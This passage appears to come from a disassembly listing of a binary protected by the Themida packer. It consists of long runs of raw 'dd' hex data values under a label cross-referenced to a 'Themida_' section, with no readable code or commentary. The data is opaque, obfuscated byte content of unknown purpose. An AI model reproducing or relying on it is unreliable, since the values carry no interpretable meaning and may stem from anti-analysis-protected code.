		dd 229EB6Ah, 0DFEACF89h, 89016C76h, 8A39EFCFh, 39AB2A5Fh
		dd 1ACF8901h, 8285980Eh, 0FA051656h, 26FAECEh, 1851B37Ah
		dd 83168588h, 0FB0C1151h, 7176A9C9h, 0FEB225Ch,	7A6E3D5Ch
		dd 0D5FA0DFAh, 1F1276A9h, 0DB9B4D3Ah, 1FB6C1C4h, 0CDE4405Fh
		dd 0CC1h, 1CD02900h, 2CB44448h,	0F1E5DC93h, 5303CE69h
		dd 0DD9D473Ch, 4F0FC5C2h, 0BBBB1350h, 32289FE4h, 0B9A1285Bh
		dd 322CA1E6h, 0BBA3285Bh, 332B9FE4h, 5450805Ch,	40558h
		dd 0E8830000h, 24048704h, 0E089505Ch, 405h, 42D00h, 4870000h
		dd 34895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 2414895Ch, 3B818768h, 24348B09h, 5404C483h, 8324148Bh
		dd 0EC8304C4h, 240C8904h, 8B9h,	89D10100h, 34FF5931h, 0C4835A24h
		dd 24348B04h, 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h
		dd 0FFFABA20h, 0DA77B6ADh, 0C8F4509Bh, 0B8A818F5h, 93B8B0Ch
		dd 0E0FFC503h, 2A6FC813h, 9E259CBh, 47E6C379h, 662A6A2h
		dd 0A37FC23h, 688B5B99h, 15233A5Eh, 6B1C66F5h, 69D8A65Eh
		dd 7C2D2AB9h, 4C9213D7h, 0DD35E00h, 73618AB3h
dword_5A719C	dd 8C588D8Dh, 0BF0F093Bh, 298D89FBh, 81093516h,	541221F0h
					; DATA XREF: Themida_:00552894o
		dd 7D85C758h, 48093528h, 6A00006Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3F2C355h
		dd 3511E595h, 5585C709h, 93522h, 1000000h, 3523E1BDh, 45B5FF09h
		dd 6609350Dh, 0FFF8E3B8h, 350D0595h, 55006A09h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 89394BC2h
		dd 6A77655Eh, 2995FF00h, 8B093508h, 306AEBC0h, 13681F32h
		dd 3E9D2075h, 0B142D8E5h, 7E5E2060h, 86951D98h,	5E3B1B99h
		dd 0D10B49E7h, 532865Ch, 617C9D3Eh, 89DDCAFBh, 0C0F6B71Ah
		dd 0ACE36A92h, 52199199h, 54CEF342h, 6C27F118h,	5A33EB9Ah
		dd 7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h, 1126971Eh, 0A9DF33DEh
		dd 0F820EAB8h, 2A027882h, 0A8BE291Ch, 0C2131F23h, 513FDDB8h
		dd 948D8D7Eh, 6A093B8Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 22CAC356h, 89A66087h
		dd 3516298Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 7FBB66C4h, 7D85C749h, 0B8093528h
		dd 89000070h, 35258585h, 85C7F809h, 9352255h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F2C35545h
		dd 88522FF2h, 6D85E878h, 0E9B589DFh, 0FF093503h, 350D15B5h
		dd 6E909h, 5FB50000h, 0B4BCD2EDh, 0D0595FFh, 6A0935h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 6A57E5C3h, 2995FF00h, 8B093508h, 694CEBC0h, 19F4A6Bh
		dd 0B1A017DFh, 31840AF6h, 825CAD21h, 489B32F4h,	30EB0133h
		dd 0EF95BCE9h, 0E27FE905h, 0D4D36B60h, 2D8A9059h, 993A3745h
		dd 346AED67h, 1DB4AC10h, 0E20F9619h, 0DF9E0A10h, 72709DEAh
		dd 9433ED66h, 4B423A86h, 0E8F9BAB9h, 0Fh, 0BD32EE44h, 0ADCFC135h
		dd 0EB309D2Ah, 0BB1D7251h, 14164FA1h, 3CF38058h, 701CC081h
		dd 66570000h, 42CADE81h, 33C9335Bh, 3525BD9Dh, 83C8B09h
		dd 81DF8B66h, 627314F7h, 0E3816602h, 0C781145Dh, 9AC83Dh
		dd 2C7D8589h, 0EF810935h, 410C35E5h, 0F6816650h, 895A562Eh
		dd 958B083Ch, 9350D81h,	6F99DE81h, 0E9835749h, 29B52904h
		dd 81093503h, 0FF908CF9h, 16850FFFh, 8B000000h,	3525D5B5h
		dd 26E909h, 0DF650000h,	0D83D59ABh, 12A469AAh, 59BD8957h
		dd 0E9093504h, 0FFFFFF91h, 6F5EB301h, 4EC3A787h, 80261435h
		dd 1F83157Bh, 6E8h, 9B3AA900h, 8995F2F0h, 35119185h, 0B9665A09h
		dd 0C281C6D7h, 5B28h, 1E05BD8Bh, 0DB330935h, 6E9h, 0E907DF00h
		dd 8B0F3969h, 0F5B81A34h, 81107D38h, 7BBA52C6h,	11850312h
		dd 8109350Dh, 0A39D6EEh, 81E58A46h, 17C13AC6h, 1A348945h
		dd 7E86060h, 22000000h,	0A5ED581Fh, 665AFF6Dh, 114AC381h
		dd 0F61F561h, 683h, 0A1BD3100h,	8109350Eh, 307276EBh, 65BD033Ah
		dd 81093508h, 307272C3h, 0AE83Ah, 0A6D10000h, 0D61E61A9h
		dd 0E68545Eh, 1F759589h, 815F0935h, 0FFA5ACFBh,	14850FFFh
		dd 8B000000h, 2BE9CFh, 0F23F0000h, 0D8E4163Ah, 0F897D0ABh
		dd 0E97D07B3h, 8, 9276575Dh, 70F458B0h,	0FFFF5EE9h, 0CA0C84FFh
		dd 0BF395B8h, 1299DFE3h, 938D8D7Ah, 6A093B90h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 4AC0C355h, 3FC0F946h, 6830F1Ah, 89000000h, 35276D9Dh
		dd 56E08109h, 890317F7h, 3516298Dh, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F6D97EBh
		dd 488h, 0ECBA6600h, 85C7F96Eh,	935287Dh, 5B04h, 11E9h
		dd 0E841F700h, 12FAB024h, 0C2E4F05Dh, 0DBC59713h, 85C7B79Dh
		dd 9352255h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h
		dd 70B66C63h, 0E9C2B70Fh, 0Fh, 0F1680D93h, 5F0ED217h, 4F4CFE4Ch
		dd 0FF2F9850h, 351239B5h, 53006A09h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0CAAF6311h
		dd 0BD8B7E59h, 9352F3Dh, 11E9h,	14D4E000h, 0C7166FE7h
		dd 0B054E63Dh, 91E2D64Ah, 95FFE84Ch, 9350D05h, 2761B52Bh
		dd 6A0935h, 82995FFh, 0C08B0935h, 0D9F059EBh, 242FB436h
		dd 3D9DD999h, 258D47F4h, 0C19DD59Bh, 94BC32E7h,	0F4104C39h
		dd 8D260B08h, 4A53800Eh, 0DE6A8FF7h, 3FBA4F56h,	0CB7D5B54h
		dd 0BFED3A33h, 1F4BF87Fh, 8F2495CBh, 1D95DA31h,	24036B30h
		dd 0B58A086Dh, 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh
		dd 8DC58E9Ah, 3B91848Dh, 0C7816609h, 8D89A35Ah,	9351629h
		dd 0FDDDBB66h, 287D85C7h, 628C0935h, 0BA660000h, 85C7E04Ah
		dd 9352255h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h
		dd 96C1CAA7h, 0B5FF5487h, 9352B11h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0F0C35040h,	8481C01Bh, 8D09F026h
		dd 935012Dh, 95FF35B0h,	9350D05h, 16E58D89h, 6AF80935h
		dd 2995FF00h, 8B093508h, 9E5EEBC0h, 25BD2258h, 8A1AAA4Bh
		dd 9123DA2Fh, 76575DE3h, 0F458B092h, 3AC88370h,	0A32A73B4h
		dd 0D6022C57h, 0DBA78F6Ah, 6A50D1B7h, 0A77C7BB9h, 8353277Eh
		dd 0A953B5FDh, 0DB5CF494h, 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h
		dd 7D3CAA5Dh, 1E87F036h, 865EF87Ch, 0BA75CD5Ch,	2F4D290Dh
		dd 570A3BA7h, 0D58D8D4Dh, 6A093B92h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 439CC353h
		dd 8B66AF7Ch, 298D89FAh, 8B093516h, 350B65B5h, 7D85C709h
		dd 4093528h, 6A00006Ch,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0E43DC351h,	85C71579h
		dd 9352255h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A0C35141h
		dd 0DA91C8E0h, 11F5B5FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 5A457EC3h, 0C56F2C92h
		dd 595FF23h, 6A09350Dh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 3DB5C353h, 6E8AA1Ch
		dd 0B000000h, 0D351FAB9h, 0D59D8B5Ah, 5F093512h, 95FF006Ah
		dd 9350829h, 5CEBC08Bh,	9028676Eh, 773B92E3h, 9BD8B4C9h
		dd 0A647475Eh, 9E634A77h, 0E8F1D336h, 0C32629B4h, 0C172EDFFh
		dd 157E25EEh, 0B9188CC8h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh
		dd 78E6C7Bh, 0CD47B4AEh, 0B0C0E4BEh, 0B2A24E86h, 0AE80D3D7h
		dd 78487ADFh, 11D6DB28h, 0E6AFAF2Eh, 0CC923AB6h, 3F3071EDh
		dd 0BE8h, 77C68300h, 914166Ah, 15F632D1h, 1DED9589h, 315B0935h
		dd 350CD9BDh, 0C5C38109h, 0F000059h, 68Ch, 69BD0300h, 0BA093504h
		dd 163Dh, 0FFF1B70Fh, 3FE68133h, 597675CEh, 81C18B66h
		dd 29BE90E9h, 7585036Ah, 8109351Fh, 94C128C1h, 0C3BF0F39h
		dd 12A3C181h, 81662451h, 51BC29E8h, 0CE9h, 650C7500h, 1E629A0Dh
		dd 0C869A611h, 8B038FD0h, 99EB81F9h, 290C51D9h,	352AA98Dh
		dd 95C38109h, 0E90C51D9h, 12h, 4473EEE7h, 27214A1h, 0D577E76Ch
		dd 0DC266D1h, 0EA81F7C1h, 1, 1B850Fh, 890F0000h, 6, 32499589h
		dd 1BE90935h, 0FF000000h, 0E94A85DFh, 0C12607D6h, 0F1BD8B5Ah
		dd 0E909352Bh, 0FFFFFF63h, 0A0EA385Bh, 14E88E0Ah, 13000000h
		dd 264B5182h, 0B6FEF64Dh, 0DEEAD682h, 373D1ED6h, 8B307222h
		dd 351DA59Dh, 0F28B5809h, 62A1C081h, 0FC510000h, 60FF3359h
		dd 2A75B58Bh, 858B0935h, 935056Dh, 734FF61h, 81DCB960h
		dd 8B6039DFh, 35296D95h, 6161FC09h, 799D8B5Ah, 81093505h
		dd 0C9C420C2h, 2D8D8B74h, 81093528h, 88C851F2h,	0FE974h
		dd 76FD0000h, 0E54E7318h, 0A14268E8h, 0B942106Ah, 0D9F281E3h
		dd 893D9455h, 35160D95h, 0FCBE5209h, 8F11D15Fh,	8D0B3804h
		dd 9352451h, 5C1B529h, 0EF810935h, 5141866Bh, 7E860h, 0D80A0000h
		dd 51C3E0A1h, 58E6B77Ah, 61FA8B66h, 8667C781h, 0B5315141h
		dd 93505E5h, 9E7CFF81h,	850FFFFFh, 17h,	82F18166h, 4EE9A8h
		dd 301A0000h, 8DAD982Eh, 7BDAD783h, 0E86C2387h,	12h, 0FF6E19C5h
		dd 0E7555CAEh, 37E01506h, 0A1F6E66Fh, 0CE9B856h, 0F6000000h
		dd 0D5E2190h, 25F34F05h, 5B438CE1h, 0FFFF28E9h,	46B000FFh
		dd 0D441AB27h, 0C09C3287h, 0A35F4BB8h, 55242BBAh, 95F38D8Dh
		dd 6A093Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0DA462DC3h, 8820F84h, 51000000h, 0AC95DE81h
		dd 895A23CCh, 3516298Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 19A60174h, 0B54C2C09h
		dd 7D85C72Ch, 4C093528h, 6A00005Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B0EC353h
		dd 351F69BDh, 5585C709h, 93522h, 3000000h, 35289585h, 0F9B52309h
		dd 0FF09351Ch, 352C79B5h, 0D3816609h, 95FFEC7Ch, 9350D05h
		dd 0D78865B8h, 6AFC02h,	82995FFh, 0C08B0935h, 0FB2D29EBh
		dd 2EF45E76h, 28379394h, 0BCA79A00h, 6AE093Bh, 0C95546FEh
		dd 0C1DD127Ah, 6537C27h, 0CB738309h, 0CAA2F699h, 0E8436C7Eh
		dd 0Ch,	4B3C98E7h, 67209FE3h, 0E45AFFFAh, 12D5B589h, 0B6580935h
		dd 2EC08167h, 81000066h, 599E26C2h, 6846h, 13E90000h, 54000000h
		dd 0DFCF2398h, 0D86FE9D5h, 0D0EB614Ch, 5F00D357h, 0FF5B594Eh
		dd 665F0334h, 8122F1B9h, 8164AAEFh, 81AEB561h, 31E91EC7h
		dd 0BE927h, 15B30000h, 0B93E092Bh, 0A42F34F7h, 0A9EF81C8h
		dd 0F848887Ah, 81183C89h, 0D2F88CD6h, 0F08B6601h, 6D2DEB81h
		dd 0E7B97DDAh, 8178ED58h, 0DA6D29C3h, 45C9807Dh, 9A6CFB81h
		dd 850FFFFFh, 0FFFFFFA7h, 29C9B58Bh, 0EE80935h,	72000000h
		dd 47C36ED5h, 0E2C11ED2h, 0F3E0B1C2h, 3D858BE4h, 5B093503h
		dd 271D9D31h, 0C3810935h, 58ABh, 68E0B4h, 60000000h, 0EE816653h
		dd 0F58CF47h, 5961D0B7h, 52F28166h, 1934FFC0h, 0CFDBD8Bh
		dd 0E95E0935h, 5, 0ECB71025h, 0E0F68114h, 814240C5h, 0E94891DAh
		dd 2CEE814Ah, 234696F5h, 350F4195h, 55EE8109h, 0E9171C68h
		dd 0Bh,	0C42B1AD5h, 4D2CB8CBh, 5644FE14h, 8B0B048Fh, 35078985h
		dd 6850F09h, 29000000h,	352FF195h, 4E98309h, 6890Fh, 850B0000h
		dd 93503B5h, 0A804F981h, 850FFFFFh, 0FFFFFF8Dh,	674EEF81h
		dd 12E85E72h, 88000000h, 1100851Dh, 0DFD04310h,	731B26Ch
		dd 61A6991Bh, 8589597Dh, 935269Dh, 6F41C181h, 820F0000h
		dd 1, 1B9B68FCh, 820F0000h, 1, 0BF0F5AF8h, 0F31FFC1h, 605ED9B7h
		dd 0FD18D89h, 66560935h, 615FF38Bh, 254FF681h, 81664AADh
		dd 813570E7h, 6DAF69F6h, 6660600Ch, 3F7EDA81h, 8B616160h
		dd 350C6195h, 0EE816109h, 0E1303D7h, 77E38166h,	8FF556C6h
		dd 11E901h, 0B6680000h,	8CA6BA44h, 7195463Eh, 6649C8C8h
		dd 83F0DACAh, 816604E9h, 4A22A8C8h, 20850Fh, 810F0000h
		dd 6, 0CD1B531h, 29E90935h, 54000000h, 0B8816C24h, 3EC07292h
		dd 91388892h, 8529D8AAh, 935300Dh, 0FFFF6CE9h, 7AE338FFh
		dd 0C6F00F94h, 0CE5DD816h, 75A0BB9Eh, 89A07582h, 78146908h
		dd 4B8DA6DCh, 86391061h, 8635A12Eh, 13D92590h, 5302548h
		dd 0B3305C99h, 23F251Bh, 86302581h, 0AF559807h,	89302C77h
		dd 86305EA5h, 1BB5E390h, 0C839105Fh, 78108B4Ch,	0A234A482h
		dd 9174939Bh, 8649907Bh, 3BD2C77h, 8F085E51h, 76BBF56Fh
		dd 91ADA08Eh, 6E7E2C11h, 86302516h, 2E72F249h, 0A274AED4h
		dd 0F30AE46h, 0DE340165h, 0AF55906Fh, 3BD2C7Dh,	8F085E54h
		dd 7EBBF5EDh, 863035B0h, 8638CC84h, 89962542h, 86302BA4h
		dd 4F3B6C90h, 79C0A047h, 8BD9DADBh, 0B302512h, 0B37C2794h
		dd 86359D8Dh, 65CF2542h, 1E6A98ACh, 0BBD2CABh, 8F0BBC68h
		dd 0B615379Ch, 47FF0E94h, 89A07582h, 78146908h,	4B8DA6DCh
		dd 86391061h, 8635A12Eh, 13D92590h, 5302548h, 0E9835C99h
		dd 0B9A4F305h, 22h, 7E4604EBh, 0AFE94D2Ch, 0F6000007h
		dd 0BA3E5F44h, 9F613AA7h, 0D0881580h, 9A5E3F58h, 8E851683h
		dd 85140DFDh, 0CECB6018h, 88150BCDh, 0C8D14D13h, 0F3B1DDD3h
		dd 12FAA8C9h, 15AB10BDh, 0C45085ADh, 36BE7165h,	362425A8h
		dd 9CDB571Ch, 3624BC06h, 5F78F41Ch, 3CB21094h, 0B93BB623h
		dd 0EAE4B937h, 0DCDEB592h, 0CC325DE1h, 1FB24257h, 0EE10BC94h
		dd 255F6370h, 47BE4883h, 7D23C72Fh, 1502F5CAh, 7E1B16A8h
		dd 0CB26C876h, 0C4D9C059h, 3CB7203Ch, 0A84B54C8h, 0EF9EB38h
		dd 0C38C5712h, 0FFBD7ACFh, 0C706ACF1h, 0A392859Bh, 0BDE066DBh
		dd 0B1458BD0h, 7C0Ah, 2E47C900h, 5DD448ABh, 0D647B53Ch
		dd 97021BEEh, 2EABC537h, 913DF1C6h, 36416953h, 0BB3B5D1Ch
		dd 4FFDBA13h, 53AD89h, 0E7D90000h, 0DBC65B4Eh, 4742E115h
		dd 36A3BB2Eh, 0CDD449BBh, 0A24CA226h, 41FEC14Fh, 0C3EB1C36h
		dd 5D7CF507h, 0EAD01296h, 0DC1C3641h
		dd 1B858262h, 8E368C60h, 35926A50h, 0B6385E1Ch,	7803F13Eh
		dd 0ABA3F8E1h, 41811811h, 0D3A6DA4Bh, 0B8A05459h, 3Ch
		dd 0AB2E4719h, 856E5B23h, 760A11B5h, 4D71FF7Eh,	591C35F9h
		dd 418B1975h, 351C35F9h, 0C033AEC3h, 0ED42B23Ch, 0DCFD7407h
		dd 2352CEF0h, 35F9377Dh, 43AD331Ch, 0B2273CB0h,	0F0E3B83Ch
		dd 0BC39B2Eh, 34C96D5h,	0A2408C15h, 13013318h, 0B46A8A0Ch
		dd 0D24DBF32h, 39C307C7h, 9C26BC25h, 0D4130133h, 33B53C5Dh
		dd 12E70F91h, 118EA21Ch, 0E9F46BE5h, 221C640Ah,	0AE0845D8h
		dd 0BB0E995Dh, 0FAB5EBE3h, 1E0BCD82h, 1A8B7978h, 43612D2Ah
		dd 1C358179h, 0F6E37B6Dh, 0ED82FCF8h, 3A35ABF0h, 0EEC4549Fh
		dd 251C3581h, 5B2F1400h, 1ED5CC61h, 8182489Ah, 70761C35h
		dd 88150A84h, 842E2013h, 993A0BC6h, 0A6BE2B47h,	0B03EC231h
		dd 9EEAE421h, 3641BA00h, 0CC28AE1Ch, 5C41925h, 34C68850h
		dd 0AF569E3Bh, 55h, 0D6842EE0h,	0A9C53B58h, 1513BE30h
		dd 0E5CF15B9h, 0E11C3641h, 23A937BFh, 171C3641h, 0AD154291h
		dd 0F2DAB2AFh, 8DA15FBAh, 953CE014h, 0D254AD15h, 0EDE194B3h
		dd 0FD989709h, 0A6332FD1h, 5E70AF4Eh, 21D5C25Ch, 73EB1582h
		dd 0F7098B66h, 0AD9D597Ch, 26h,	0C6842EDEh, 0E5CF150Bh
		dd 1E1C3641h, 0BE153F92h, 26AD2847h, 387DAD15h,	0E1E5A6CCh
		dd 0FFC37F5Ah, 0CE263FB5h, 2B47BE85h, 61B543AEh, 0DE1C32C3h
		dd 4EE2957Fh, 69457D51h, 595090BEh, 0EC7449ADh,	1B8D6475h
		dd 0E85C9702h, 0D9896871h, 45162BCBh, 253CC209h, 5BAA3DB4h
		dd 27748E69h, 0A4D34A3Dh, 31A7B4FEh, 3D00B01Ch,	0B3137057h
		dd 33688668h, 2B914F7Bh, 1F1C3151h, 0ECE98779h,	0CB738305h
		dd 8954E982h, 41E5h, 2B47A600h,	0EB9F43AEh, 36420FB5h
		dd 11E50B1Ch, 735B3386h, 36AB62Dh, 548A3215h, 1301186Eh
		dd 0E60D8AA6h, 0B03E6062h, 4451CF41h, 0B8253BADh, 6351D439h
		dd 32228388h, 0A6BE2B47h, 0B03EC231h, 2B4748EBh, 0EDB843AEh
		dd 1C0B9935h, 0E0150368h, 0AD4350CEh, 842E3BF0h, 993A0BC6h
		dd 1EAE2B47h, 0E313849Ch, 70EB153Ch, 13DEFB75h,	10945F91h
		dd 192407E4h, 885005C4h, 0CECAF6C6h, 5836E711h,	21ED9Ch
		dd 2E9E0000h, 150BC684h, 3641E5CFh, 14BFE11Ch, 2847BE15h
		dd 5E7026ADh, 20D4C55Ch, 30D181h, 2E020000h, 150BC684h
		dd 3641E5CFh, 8AA21E1Ch, 9C62E60Dh, 0F5DC1287h,	2847BE15h
		dd 416F558Bh, 456B1C36h, 5E7028ABh, 4CE4C55Ch, 0CA4EA54Bh
		dd 2B47832Ah, 1D9F43AEh, 16216A01h, 5889860h, 0C95608EBh
		dd 3CF3105Fh, 0C04EA648h, 1C32314Ch, 0FD887CE9h, 2B237861h
		dd 1A129F91h, 0FCF2767Dh, 2EA812D0h, 0FA9C1C32h, 0F0E980FAh
		dd 13968F01h, 5B737D18h, 2E4B712Fh, 9B491C32h, 1C322E31h
		dd 9F418325h, 0FB68D857h, 0F2E77E09h, 0CAF0AEDAh, 0BE1C322Eh
		dd 4BFFDC18h, 89540D02h, 0E35C2468h, 0B085428Eh, 63C208DAh
		dd 7DF21C31h, 0B83C6260h, 3411h, 2B47C200h, 0DF9F43AEh
		dd 9C2BA000h, 56E11540h, 9D438B43h, 1502869Ah, 77E9088Eh
		dd 0A014DFFAh, 920F218Eh, 0AD30955Ch, 9B3C34C7h, 7F65B855h
		dd 9607908Ch, 0AE2B47B5h, 31D9F43h, 0C0D35E96h,	0F608C408h
		dd 169A597Eh, 6DAD50DEh, 8D231503h, 3CEE0594h, 4B967E4Fh
		dd 0BC32BC1Ah, 842EECDFh, 0D6485DD6h, 0AC927C9h, 2B47993Ah
		dd 346A1EAEh, 1C36418Eh, 0F190648Ah, 0C419EFE4h, 0C3885005h
		dd 1Ch,	0C6842E04h, 0E5CF150Bh,	0E11C3641h, 0BE1514BFh
		dd 26AD2847h, 49D16370h, 2000000h, 0BC6842Eh, 41E5CF15h
		dd 93EB1C36h, 11AC9A69h, 199262AEh, 0B9153C97h,	3641A12Bh
		dd 0E313951Ch, 22B9337h, 0F2184103h, 15D27185h,	774A50ADh
		dd 6997F632h, 8507EAF7h, 7560FF71h, 3AAD155Eh, 9FE08D98h
		dd 6B58A155h, 43AE2B47h, 32C361B5h, 957FDE1Ch, 4C514EE2h
		dd 0F4FF9894h, 48845C67h, 0FEE4539Ah, 53775314h, 49C278Dh
		dd 677D2313h, 13049C5Dh, 0F19F5759h, 2EFDAEEFh,	3A0BC684h
		dd 0BE2B4799h, 18BB35A2h, 0C419EFE4h, 0C3885005h, 21h
		dd 0C6842E04h, 0E5CF150Bh, 0E11C3641h, 0AE4550CFh, 150DC42Ah
		dd 0AD2847BEh, 0D1637026h, 31h,	76EB1502h, 773D636Bh, 731C3641h
		dd 0B4FE896Dh, 0CF15DBF6h, 1C3641E5h, 153F921Eh, 8E6673EBh
		dd 2847A3EAh, 0AD1526ADh, 16E9599Eh, 165F97A7h,	0AE2B472Dh
		dd 0C361B543h, 5ED11C32h, 253CB043h, 85D83DB4h,	0AE2FDC9Fh
		dd 60FF01C6h, 130F8175h, 8F311586h, 3DED0491h, 0B08AE85Fh
		dd 7EF0101h, 0C0DE9995h, 1C3223FAh, 0EB06E8EEh,	517D5560h
		dd 0FF30DC93h, 0FECED014h, 817562FCh, 842E07ACh, 943A0BC6h
		dd 4120AA38h, 92141C36h, 2B47BB62h, 0EFE423AEh,	5005C419h
		dd 23C388h, 2E040000h, 150BC684h, 886B76EBh, 964CF004h
		dd 1C36412Ch, 154B8628h, 0AD2847BEh, 0D1637026h, 2Ch, 0C6842E02h
		dd 0E5CF150Bh, 1E1C3641h, 0BE153F92h, 0A12BB915h, 951C3641h
		dd 0F669E313h, 7B7663FBh, 0DFF7A4CBh, 48A6CB35h, 63702BA6h
		dd 43AE2B47h, 9935EDB8h, 688B0E27h, 366C10E4h, 15034577h
		dd 0F5EBCD9Dh, 1533D61Eh, 89391DCCh, 0B6387DB7h, 974F5AE5h
		dd 356FA937h, 4D530BD8h, 0A13E32A6h, 0EFE884FCh, 60537404h
		dd 0E27D5813h, 9588FCF7h, 0AE4FE50Ch, 24EA23C6h, 0DE16839Ah
		dd 44D8A391h, 0A2BE425Bh, 0AFF59935h, 0D81C5F05h, 5EEFD50Bh
		dd 0C5EBD81Ch, 6772E9FFh, 72E66D89h, 2616DDFAh,	203CCFB5h
		dd 0FE72E6B7h, 32812E1h, 69000000h, 1547844Fh, 53CF41B0h
		dd 2739AB46h, 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh
		dd 0AFC034BFh, 0D04DBF32h, 515D2AC9h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 4895C24h,	0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 68241489h, 7C08h, 68240C89h, 93B9951h
		dd 8124148Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 83590000h
		dd 148904ECh, 8418F24h,	592434FFh, 8B04C483h, 89512414h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0DDE2E95Ch, 248EFFF9h
		dd 4D25C7CEh, 216EA3F3h, 79B8184Ch, 3093BA0h, 4CE0FFC5h
		dd 0DE598F5Ah, 72BB43h,	0B048CD13h, 46551889h, 2710910Fh
		dd 0AB30E46Ch, 410E73E5h, 0D4740E1Bh, 87430888h, 322DF5B2h
		dd 9C7DD35Ch, 0C00F8013h, 0B84B294Dh, 4B0929C1h, 5F507C2Ah
		dd 0E835E965h, 9, 19A314A0h, 0CC1FF6ECh, 81665348h, 5F5E64D2h
		dd 81CE8B5Bh, 67E0C3h, 0F98B6600h, 0B02F82BEh, 3BC68140h
		dd 66BF4FEAh, 0FF557BBFh, 0DE933h, 9D040000h, 0FD9CE5BAh
		dd 5E0AD0E8h, 5838FEA0h, 3850Fh, 0E1800000h, 3CE88125h
		dd 6021F2BFh, 48F0Fh, 0BF660000h, 52BE4466h, 61000B01h
		dd 6C01F081h, 0F603B8Ch, 289h, 61F78B00h, 42DEE881h, 0BF6619FCh
		dd 38906D2h, 6E9h, 3C6DD000h, 8130F84Eh, 0D409B9EBh, 0C381F51Fh
		dd 1FD409B5h, 0FE9h, 0FB46AC00h, 0F072E251h, 0C9EB4883h
		dd 0EFCFB3A0h, 1EE81h, 850F0000h, 12h, 0FA19B966h, 33E9h
		dd 58D2B100h, 0D4974C26h, 0CE8448Dh, 1E000000h,	495640BCh
		dd 531E5494h, 0F8C15B48h, 0FF4DE959h, 0FFBFFFFFh, 618FD489h
		dd 0DE640684h, 409ABBE8h, 45018504h, 0A2F68D8Dh, 0F60093Bh
		dd 288h, 0FC28B00h
		dd 38Dh, 0C2B70F00h, 298D8961h,	6A093516h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0B090C352h
		dd 7D85C7C5h, 98093528h, 6A000073h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E900C352h
		dd 0CD4F7FACh, 0C7D6B70Fh, 35225585h, 9, 0FD9D8B00h, 0FF09351Bh
		dd 352BF5B5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8143EF03h, 390FAFF2h, 595FF28h, 8109350Dh
		dd 5C4E5CE2h, 0FF006A01h, 35082995h, 0EBC08B09h, 8BDE190Dh
		dd 9F683B7Dh, 0DA71975Fh, 8D8D7555h, 93BA3B1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 6EC35343h, 89F28BFDh
		dd 3516298Dh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 7D85C7CDh, 0C8093528h, 900005Ch
		dd 352DD9B5h, 75958909h, 0C7093504h, 35225585h,	9, 2D9D8B00h
		dd 0FF09352Fh, 35331DB5h, 5DBD8909h, 0FF093530h, 350D0595h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 9D89FC0Ah, 935043Dh, 95FF006Ah, 9350829h
		dd 5EEBC08Bh, 0A5F26093h, 0E65AB1BCh, 64D2658Bh, 11AD14EAh
		dd 0F58619Bh, 0D228E9F4h, 0A1D915A9h, 0C740D397h, 0B560CC37h
		dd 87F732D8h, 1D4981FFh, 33235CDCh, 0C67886F2h,	0BE066E6Eh
		dd 90D3676Fh, 0C1385824h, 540FB874h, 50D0AE2Bh,	900DABD3h
		dd 7C5E2E5Eh, 823147B8h, 65C5A137h, 0C6EED06Ch,	0BE8D6F4h
		dd 44000000h, 681324Ah,	0E5482D9Fh, 8D89EF62h, 93512ADh
		dd 0A995895Bh, 81093527h, 6991C3h, 71858B00h, 68093503h
		dd 1A3Bh, 27F18523h, 0B25F0935h, 0E933FF59h, 14h, 0DBD7A22h
		dd 0A65B4762h, 5802E683h, 284B13F6h, 5F931CD4h,	0D38B665Eh
		dd 1F73C681h, 95032717h, 9352C75h, 63D1F681h, 0CF8A2F78h
